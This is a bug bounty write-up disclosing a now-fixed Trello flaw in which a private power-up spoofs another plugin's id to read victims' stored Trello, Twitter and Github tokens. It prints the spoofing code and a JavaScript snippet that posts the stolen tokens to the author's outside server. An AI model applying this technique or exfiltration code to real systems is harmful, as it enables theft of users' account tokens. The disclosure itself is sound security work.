Trello Bug Bounty: Stealing the power-up tokens (Github, Twitter, ...)

Trello offers plugins to improve the overall experience when using a board. These plugins are called power-ups and can be enabled in the board settings. For instance there is a Github power-up that allows to attach commits, branches or issues to a card. Convenient when your are using Trello to track your developments or issues.

The idea of a power-up is that everyone can develop its own and use it, to do that, Trello offers a way to add private power-ups to your organization so that they will be available for all the boards owned by your organization. More info on the Trello developer website.

As the power-ups can be developed by third parties, they are not included into the Trello website but loaded as iframes. One for each power-up enabled.

Iframe power drawing

For this report I used a private power-up that was hosted on this domain name (hethical.io). Using iframes is convenient because the browser will forbid data access between two domain names, so my power-up hosted on hethical.io will never be able to access data owned by trello.com, the cookies for instance.

Nonetheless, at some point your power-up needs to access data from Trello, because the goal of the power-up is to improve the Trello experience. To do that, the Trello website defines a list of handlers for each power-up. Regarding the status of the power-up (from Trello or third parties) some handlers are not available. When the power-up iframe is displayed, a secret is passed as parameter to the iframe. When you do a request to Trello, you pass your secret and Trello retrieves the correct list of handlers for your power-up.

Example of handlers are the following:

  • card: to access information about a card
  • list: to access information about a list
  • popup: to open a popup on trello.com
  • ...

There are around 18 handlers, one of them is called "data". It is possible for a power-up to save data in the Trello database. It can be saved at the card level, board level or organisation level and each data is private or shared.

For instance you could save a slack url at the organization level and shared, then when the organisation will be loaded, in the pluginData attribute of the organization, you will find the slack url as shared.

The Trello power-ups are using this mechanism a lot, for instance when you want to pin a tweet to a card, you first have to link your twitter account to Trello. The token sent back from Twitter is then saved as a private data at the board level. Only you can access it.

When you load the board, in the pluginData there will be your private token, if I load it, there will be nothing until I link my twitter account to the board. The private data are per user (as expected).

The code is minified and hard to read so I assume that the data mechanism worked as follow (nonetheless I can't be sure), when we call a handler for a plugin, the following code is executed:

s.handlers[t].apply(s, [a].concat(r))  

s gives us the list of handlers allowed for the plugin based on the plugin url. t = "data" so the data handler will be called and r is the context. The context contains the plugin id, i.e: plugin:"55a5d917446f51777421000b".

When the handler is called, the context parameter is deserialized:

e.call(O, t, P(r, {  
    context: p.deserialize(n)
}))

The plugin deserialize method is called:

plugin: {  
    type: a,
    serialize: function(e) {
        return {
            value: e.id
        }
    },
    deserialize: function(e) {
        return s.get("Plugin", e)
    }
}

e being my plugin id. It means that the plugin corresponding to the context plugin id is used when retrieving data.

The assumption was, if I put a plugin id in the context parameter, this plugin id will be used when retrieving data, meaning that I can access the data of a plugin using its plugin id (the plugins id are public and available in the board data). To do the test I created a private power-up that spoof the plugin id of the card repeater power-up. I chose the card repeater plugin id because when activated and used, the card repeater power-up automatically requests a Trello API token and save it as a private data into the board.

I used the empty power-up available on the Power-ups developer page and I modified the requestWithContext method in order to spoof the plugin id of the card repeater.

HostHandlers.requestWithContext = function(command, options) {  
  options = options || {};
  options.context = this.args[0].context;
  options.context.plugin = "57b47fb862d25a30298459b1";
  return this.request(command, processResult(options));
};

Where 57b47fb862d25a30298459b1 is the id of the board's card repeater power-up. The data returned is the Trello token of my victim because the card repeater plugin has an API token saved as data.

When the data are returned, my evil power-up posts the data to my server (the tokens):

body.data.forEach(function(d){  
        if (d.data.response && d.data.response.organization && d.data.response.organization.private) {
            console.log(d.data.response.organization.private);
            var xmlhttp = new XMLHttpRequest();   // new HttpRequest instance 
            xmlhttp.open("POST", "https://hethical.io/trello/webhook");
            xmlhttp.setRequestHeader("Content-Type", "application/json");
            xmlhttp.send(JSON.stringify(d.data.response.organization.private));
        }
    });

Using the same technique I was able to retrieve the Twitter, Github, ... tokens of the victim.

In order to execute the code of my evil power-up, only viewing the board was necessary and the tokens were stolen. Nonetheless, as the token are by organisation or by board, it means that the victim should have previously tied his / her github, twitter, ... account to the board. Also, in order to create a private power up, a user must be admin of the organisation, for instance it would not be possible for me to enable my evil power up on the Hackerone board.

The bug has been fixed and a $2048 bounty has been paid. Trello now signs the context and the handler call is rejected if the context has been tampered.